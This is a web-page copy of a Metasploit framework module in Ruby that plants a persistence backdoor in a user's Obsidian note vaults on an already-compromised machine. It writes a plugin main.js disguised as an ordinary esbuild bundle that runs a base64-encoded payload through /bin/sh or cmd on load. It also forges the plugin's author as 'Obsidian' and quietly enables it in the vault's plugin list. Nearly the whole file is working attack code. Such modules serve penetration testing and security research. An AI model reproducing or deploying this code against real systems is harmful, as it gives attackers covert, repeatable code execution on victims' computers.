Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/persistence/obsidian_plugin.rb
31462 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::File
10
include Msf::Post::Unix # whoami
11
include Msf::Auxiliary::Report
12
include Msf::Exploit::Local::Persistence
13
include Msf::Exploit::Deprecated
14
moved_from 'exploits/multi/local/obsidian_plugin_persistence'
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'Obsidian Plugin Persistence',
21
'Description' => %q{
22
This module searches for Obsidian vaults for a user, and uploads a malicious
23
community plugin to the vault. The vaults must be opened with community
24
plugins enabled (NOT restricted mode), but the plugin will be enabled
25
automatically.
26
27
Tested against Obsidian 1.7.7 on Kali, Ubuntu 22.04, and Windows 10.
28
},
29
'License' => MSF_LICENSE,
30
'Author' => [
31
'h00die', # Module
32
'Thomas Byrne' # Research, PoC
33
],
34
'DisclosureDate' => '2022-09-16',
35
'SessionTypes' => [ 'shell', 'meterpreter' ],
36
'Privileged' => false,
37
'References' => [
38
[ 'URL', 'https://docs.obsidian.md/Plugins/Getting+started/Build+a+plugin' ],
39
[ 'URL', 'https://github.com/obsidianmd/obsidian-sample-plugin/tree/master' ],
40
[ 'URL', 'https://forum.obsidian.md/t/can-obsidian-plugins-have-malware/34491' ],
41
[ 'URL', 'https://help.obsidian.md/Extending+Obsidian/Plugin+security' ],
42
[ 'URL', 'https://thomas-byrne.co.uk/research/obsidian-malicious-plugins/obsidian-research/' ]
43
],
44
'Arch' => [ARCH_CMD],
45
'DefaultOptions' => {
46
'PrependMigrate' => true
47
},
48
'Payload' => {
49
'BadChars' => '"'
50
},
51
'Targets' => [
52
['Auto', {} ],
53
['Linux', { 'Platform' => 'unix' } ],
54
['OSX', { 'Platform' => 'osx' } ],
55
['Windows', { 'Platform' => 'windows' } ],
56
],
57
'Notes' => {
58
'Reliability' => [ REPEATABLE_SESSION ],
59
'Stability' => [ CRASH_SAFE ],
60
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ]
61
},
62
'DefaultTarget' => 0
63
)
64
)
65
66
register_options([
67
OptString.new('NAME', [ false, 'Name of the plugin', '' ]),
68
OptString.new('USER', [ false, 'User to target, or current user if blank', '' ]),
69
OptString.new('CONFIG', [ false, 'Config file location on target', '' ]),
70
])
71
deregister_options('WritableDir')
72
end
73
74
def plugin_name
75
return datastore['NAME'] unless datastore['NAME'].blank?
76
77
rand_text_alphanumeric(4..10)
78
end
79
80
def find_vaults
81
vaults_found = []
82
user = target_user
83
vprint_status("Target User: #{user}")
84
case session.platform
85
when 'windows', 'win'
86
config_files = ["C:\\Users\\#{user}\\AppData\\Roaming\\obsidian\\obsidian.json"]
87
when 'osx'
88
config_files = ["/User/#{user}/Library/Application Support/obsidian/obsidian.json"]
89
when 'linux'
90
config_files = [
91
"/home/#{user}/.config/obsidian/obsidian.json",
92
"/home/#{user}/snap/obsidian/40/.config/obsidian/obsidian.json"
93
] # snap package
94
end
95
96
config_files << datastore['CONFIG'] unless datastore['CONFIG'].empty?
97
98
config_files.each do |config_file|
99
next unless file?(config_file)
100
101
vprint_status("Found user obsidian file: #{config_file}")
102
config_contents = read_file(config_file)
103
return fail_with(Failure::Unknown, 'Failed to read config file') if config_contents.nil?
104
105
begin
106
vaults = JSON.parse(config_contents)
107
rescue JSON::ParserError
108
vprint_error("Failed to parse JSON from #{config_file}")
109
next
110
end
111
112
vaults_found = vaults['vaults']
113
if vaults_found.nil?
114
vprint_error("No vaults found in #{config_file}")
115
next
116
end
117
118
vaults['vaults'].each do |k, v|
119
if v['open']
120
print_good("Found #{v['open'] ? 'open' : 'closed'} vault #{k}: #{v['path']}")
121
else
122
print_status("Found #{v['open'] ? 'open' : 'closed'} vault #{k}: #{v['path']}")
123
end
124
end
125
end
126
127
vaults_found
128
end
129
130
def manifest_js(plugin_name)
131
JSON.pretty_generate({
132
'id' => plugin_name.gsub(' ', '_'),
133
'name' => plugin_name,
134
'version' => '1.0.0',
135
'minAppVersion' => '0.15.0',
136
'description' => '',
137
'author' => 'Obsidian',
138
'authorUrl' => 'https://obsidian.md',
139
'isDesktopOnly' => false
140
})
141
end
142
143
def main_js(_plugin_name)
144
if ['windows', 'win'].include? session.platform
145
payload_stub = payload.encoded.to_s
146
else
147
payload_stub = "echo \\\"#{Rex::Text.encode_base64(payload.encoded)}\\\" | base64 -d | /bin/sh"
148
end
149
%%
150
/*
151
THIS IS A GENERATED/BUNDLED FILE BY ESBUILD
152
if you want to view the source, please visit the github repository of this plugin
153
*/
154
155
var __defProp = Object.defineProperty;
156
var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
157
var __getOwnPropNames = Object.getOwnPropertyNames;
158
var __hasOwnProp = Object.prototype.hasOwnProperty;
159
var __export = (target, all) => {
160
for (var name in all)
161
__defProp(target, name, { get: all[name], enumerable: true });
162
};
163
var __copyProps = (to, from, except, desc) => {
164
if (from && typeof from === "object" || typeof from === "function") {
165
for (let key of __getOwnPropNames(from))
166
if (!__hasOwnProp.call(to, key) && key !== except)
167
__defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
168
}
169
return to;
170
};
171
var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
172
173
// main.ts
174
var main_exports = {};
175
__export(main_exports, {
176
default: () => ExamplePlugin
177
});
178
module.exports = __toCommonJS(main_exports);
179
var import_obsidian = require("obsidian");
180
var ExamplePlugin = class extends import_obsidian.Plugin {
181
async onload() {
182
var command = "#{payload_stub}";
183
const { exec } = require("child_process");
184
exec(command, (error, stdout, stderr) => {
185
if (error) {
186
console.log(`error: ${error.message}`);
187
return;
188
}
189
if (stderr) {
190
console.log(`stderr: ${stderr}`);
191
return;
192
}
193
console.log(`stdout: ${stdout}`);
194
});
195
}
196
async onunload() {
197
}
198
};
199
%
200
end
201
202
def target_user
203
return datastore['USER'] unless datastore['USER'].blank?
204
205
return cmd_exec('cmd.exe /c echo %USERNAME%').strip if ['windows', 'win'].include? session.platform
206
207
whoami
208
end
209
210
def check
211
return CheckCode::Appears('Vaults found') unless find_vaults.empty?
212
213
CheckCode::Safe('No vaults found')
214
end
215
216
def install_persistence
217
plugin = plugin_name
218
print_status("Using plugin name: #{plugin}")
219
vaults = find_vaults
220
fail_with(Failure::NotFound, 'No vaults found') if vaults.empty?
221
vaults.each_value do |vault|
222
print_status("Uploading plugin to vault #{vault['path']}")
223
# avoid mkdir function because that registers it for delete, and we don't want that for
224
# persistent modules
225
if ['windows', 'win'].include? session.platform
226
cmd_exec("cmd.exe /c md \"#{vault['path']}\\.obsidian\\plugins\\#{plugin}\"")
227
else
228
cmd_exec("mkdir -p '#{vault['path']}/.obsidian/plugins/#{plugin}/'")
229
end
230
vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/main.js")
231
write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/main.js", main_js(plugin))
232
@clean_up_rc << "rm #{vault['path']}/.obsidian/plugins/#{plugin}/main.js\n"
233
234
vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json")
235
write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json", manifest_js(plugin))
236
@clean_up_rc << "rm #{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json\n"
237
# read in the enabled community plugins, and add ours to the enabled list
238
if file?("#{vault['path']}/.obsidian/community-plugins.json")
239
plugins = read_file("#{vault['path']}/.obsidian/community-plugins.json")
240
begin
241
plugins = JSON.parse(plugins)
242
vprint_status("Found #{plugins.length} enabled community plugins (#{plugins.join(', ')})")
243
path = store_loot('obsidian.community.plugins.json', 'text/plain', session, plugins, nil, nil)
244
print_good("Config file saved in: #{path}")
245
@clean_up_rc << "upload #{path} #{vault['path']}/.obsidian/community-plugins.json\n"
246
rescue JSON::ParserError
247
plugins = []
248
end
249
250
plugins << plugin unless plugins.include?(plugin)
251
else
252
plugins = [plugin]
253
end
254
vprint_status("adding #{plugin} to the enabled community plugins list")
255
write_file("#{vault['path']}/.obsidian/community-plugins.json", JSON.pretty_generate(plugins))
256
print_good('Plugin enabled, waiting for Obsidian to open the vault and execute the plugin.')
257
end
258
end
259
end
260
261